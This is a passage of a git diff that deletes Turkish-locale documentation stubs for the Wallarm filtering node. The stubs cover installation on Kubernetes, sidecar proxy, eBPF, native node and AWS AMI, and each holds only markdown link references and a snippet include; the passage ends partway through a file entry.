-[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md -[inline-docs]: ../../overview.md - ---8<-- "latest-tr/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/compute-instances/linux/all-in-one.md b/docs/tr/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index 7d824d9062..0000000000 --- a/docs/tr/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[inline-docs]: ../../overview.md -[upgrade-docs]: ../../../../updating-migrating/all-in-one.md -[download-aio-step]: #step-3-download-all-in-one-wallarm-installer -[enable-traffic-analysis-step]: #step-5-enable-wallarm-node-to-analyze-traffic -[restart-nginx-step]: #step-6-restart-nginx -[separate-postanalytics-installation-aio]: ../../../../admin-en/installation-postanalytics-en.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md -[threat-replay-testing-docs]: ../../../../vulnerability-detection/threat-replay-testing/overview.md -[api-discovery-docs]: ../../../../api-discovery/overview.md -[api-sessions-docs]: ../../../../api-sessions/overview.md -[vuln-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md -[masking-sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-tr/installation/inline/compute-instances/linux/all-in-one.md" diff --git a/docs/tr/installation/inline/kubernetes/nginx-ingress-controller.md b/docs/tr/installation/inline/kubernetes/nginx-ingress-controller.md deleted file mode 100644 index ff39c3b64e..0000000000 --- a/docs/tr/installation/inline/kubernetes/nginx-ingress-controller.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-list-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[nginx-ing-image]: ../../../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: ../../../admin-en/configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: ../../../admin-en/configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[chaining-doc]: ../../../admin-en/chaining-wallarm-and-other-ingress-controllers.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md - ---8<-- "latest-tr/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/kubernetes/sidecar-proxy/customization.md b/docs/tr/installation/inline/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 23a83e425b..0000000000 --- a/docs/tr/installation/inline/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -search: - exclude: true ---- - -[single-split-containers-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../../quickstart/attack-prevention-best-practices.md -[sidecar-upgrade-docs]: ../../../../updating-migrating/sidecar-proxy.md - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/kubernetes/sidecar-proxy/deployment.md b/docs/tr/installation/inline/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 8a8ed16289..0000000000 --- a/docs/tr/installation/inline/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[cred-stuffing-docs]: ../../../../about-wallarm/credential-stuffing.md -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/tr/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index 17a981e7c1..0000000000 --- a/docs/tr/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-upgrade-docs]: ../../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../../about-wallarm/overview.md#cloud -[eu-cloud-docs]: ../../../../about-wallarm/overview.md#cloud -[configure-wallarm-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#core-subscription-plans -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips -[api-spec-enforcement-docs]: ../../../../api-specification-enforcement/overview.md - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md b/docs/tr/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 316a5c8da9..0000000000 --- a/docs/tr/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[applications-docs]: ../../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[wallarm-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#core-subscription-plans -[denylist-docs]: ../../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/kubernetes/sidecar-proxy/scaling.md b/docs/tr/installation/inline/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index e5cdc7ba15..0000000000 --- a/docs/tr/installation/inline/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[wstore-memory-recommendations]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md#wstore -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers -[what-is-new-wstore]: ../../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/tr/installation/inline/overview.md b/docs/tr/installation/inline/overview.md deleted file mode 100644 index d19df0a633..0000000000 --- a/docs/tr/installation/inline/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/inline/overview.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/ebpf/deployment.md b/docs/tr/installation/kubernetes/ebpf/deployment.md deleted file mode 100644 index 219e800423..0000000000 --- a/docs/tr/installation/kubernetes/ebpf/deployment.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/ebpf/helm-chart-for-wallarm.md b/docs/tr/installation/kubernetes/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index 80b7d5df48..0000000000 --- a/docs/tr/installation/kubernetes/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/ebpf/selecting-packets.md b/docs/tr/installation/kubernetes/ebpf/selecting-packets.md deleted file mode 100644 index a3b6959514..0000000000 --- a/docs/tr/installation/kubernetes/ebpf/selecting-packets.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-tr/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/sidecar-proxy/customization.md b/docs/tr/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 8c7de06fe8..0000000000 --- a/docs/tr/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,9 +0,0 @@ -[single-split-containers-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../quickstart/attack-prevention-best-practices.md -[sidecar-upgrade-docs]: ../../../updating-migrating/sidecar-proxy.md - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/sidecar-proxy/deployment.md b/docs/tr/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 7707dc7922..0000000000 --- a/docs/tr/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,15 +0,0 @@ -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[cred-stuffing-docs]: ../../../about-wallarm/credential-stuffing.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index eac6c20a06..0000000000 --- a/docs/tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,15 +0,0 @@ -[sidecar-upgrade-docs]: ../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../about-wallarm/overview.md#cloud -[eu-cloud-docs]: ../../../about-wallarm/overview.md#cloud -[configure-wallarm-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#core-subscription-plans -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/tr/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index a6ba1ca83c..0000000000 --- a/docs/tr/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,15 +0,0 @@ -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#prioritization-of-methods -[applications-docs]: ../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors -[wallarm-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#core-subscription-plans -[denylist-docs]: ../../../user-guides/ip-lists/overview.md -[denylist-view-events-docs]: ../../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/tr/installation/kubernetes/sidecar-proxy/scaling.md b/docs/tr/installation/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index b4426d4984..0000000000 --- a/docs/tr/installation/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,8 +0,0 @@ -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[wstore-memory-recommendations]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md#wstore -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/tr/installation/multi-tenant/configure-accounts.md b/docs/tr/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index a83b0040b6..0000000000 --- a/docs/tr/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/multi-tenant/configure-accounts.md" \ No newline at end of file diff --git a/docs/tr/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/tr/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index d1a3fee35c..0000000000 --- a/docs/tr/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/multi-tenant/deploy-multi-tenant-node.md" \ No newline at end of file diff --git a/docs/tr/installation/multi-tenant/overview.md b/docs/tr/installation/multi-tenant/overview.md deleted file mode 100644 index e496373f0c..0000000000 --- a/docs/tr/installation/multi-tenant/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/multi-tenant/overview.md" \ No newline at end of file diff --git a/docs/tr/installation/native-node/all-in-one-conf.md b/docs/tr/installation/native-node/all-in-one-conf.md deleted file mode 100644 index 9d730c851c..0000000000 --- a/docs/tr/installation/native-node/all-in-one-conf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/native-node/all-in-one-conf.md" \ No newline at end of file diff --git a/docs/tr/installation/native-node/all-in-one.md b/docs/tr/installation/native-node/all-in-one.md deleted file mode 100644 index 7f84e6978b..0000000000 --- a/docs/tr/installation/native-node/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/native-node/all-in-one.md" \ No newline at end of file diff --git a/docs/tr/installation/native-node/aws-ami.md b/docs/tr/installation/native-node/aws-ami.md deleted file mode 100644 index 579e77e44a..0000000000 --- a/docs/tr/installation/native-node/aws-ami.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/native-node/aws-ami.md" diff --git a/docs/tr/installation/native-node/docker-image.md b/docs/tr/installation/native-node/docker-image.md deleted file mode 100644 index d62c33138f..0000000000 --- a/docs/tr/installation/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/tr/installation/native-node/helm-chart-conf.md b/docs/tr/installation/native-node/helm-chart-conf.md deleted file mode 100644 index c24c83bf4f..0000000000 --- a/docs/tr/installation/native-node/helm-chart-conf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/native-node/helm-chart-conf.md" \ No newline at end of file diff --git a/docs/tr/installation/native-node/helm-chart.md b/docs/tr/installation/native-node/helm-chart.md deleted file mode 100644 index 210f2da4f7..0000000000 --- a/docs/tr/installation/native-node/helm-chart.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/native-node/helm-chart.md" \ No newline at end of file diff --git a/docs/tr/installation/nginx-native-node-internals.md b/docs/tr/installation/nginx-native-node-internals.md deleted file mode 100644 index 00d9a26515..0000000000 --- a/docs/tr/installation/nginx-native-node-internals.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/nginx-native-node-internals.md" \ No newline at end of file diff --git a/docs/tr/installation/nginx/all-in-one.md b/docs/tr/installation/nginx/all-in-one.md deleted file mode 100644 index d457e81de5..0000000000 --- a/docs/tr/installation/nginx/all-in-one.md +++ /dev/null @@ -1,45 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[platform]: ../supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[inline-docs]: ../inline/overview.md -[upgrade-docs]: ../../updating-migrating/all-in-one.md -[download-aio-step]: #step-3-download-all-in-one-wallarm-installer -[enable-traffic-analysis-step]: #step-5-enable-wallarm-node-to-analyze-traffic -[restart-nginx-step]: #step-6-restart-nginx -[separate-postanalytics-installation-aio]: ../../admin-en/installation-postanalytics-en.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[threat-replay-testing-docs]: ../../vulnerability-detection/threat-replay-testing/overview.md -[api-discovery-docs]: ../../api-discovery/overview.md -[api-sessions-docs]: ../../api-sessions/overview.md -[vuln-detection-docs]: ../../about-wallarm/detecting-vulnerabilities.md -[masking-sensitive-data-rule]: ../../user-guides/rules/sensitive-data-rule.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "latest-tr/installation/inline/compute-instances/linux/all-in-one.md" diff --git a/docs/tr/installation/oob/ebpf/deployment.md b/docs/tr/installation/oob/ebpf/deployment.md deleted file mode 100644 index 5a261a9fb1..0000000000 --- a/docs/tr/installation/oob/ebpf/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/tr/installation/oob/ebpf/helm-chart-for-wallarm.md b/docs/tr/installation/oob/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index 18bfcdd540..0000000000 --- a/docs/tr/installation/oob/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/tr/installation/oob/ebpf/selecting-packets.md b/docs/tr/installation/oob/ebpf/selecting-packets.md deleted file mode 100644 index da7edd68a6..0000000000 --- a/docs/tr/installation/oob/ebpf/selecting-packets.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/tr/installation/oob/overview.md b/docs/tr/installation/oob/overview.md deleted file mode 100644 index 29b1b14eae..0000000000 --- a/docs/tr/installation/oob/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/oob/overview.md" \ No newline at end of file diff --git a/docs/tr/installation/oob/tcp-traffic-mirror/deployment.md b/docs/tr/installation/oob/tcp-traffic-mirror/deployment.md deleted file mode 100644 index 4c6fd09abc..0000000000 --- a/docs/tr/installation/oob/tcp-traffic-mirror/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/installation/oob/tcp-traffic-mirror/deployment.md" \ No newline at end of file diff --git a/docs/tr/installation/packages/aws-ami.md b/docs/tr/installation/packages/aws-ami.md deleted file mode 100644 index 83a1cc6df6..0000000000 --- a/docs/tr/installation/packages/aws-ami.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest-tr/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest-tr/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest-tr/UserGuide/EC2_GetStarted.html#ec2-launch-instance -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws -[img-create-sg]: ../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: 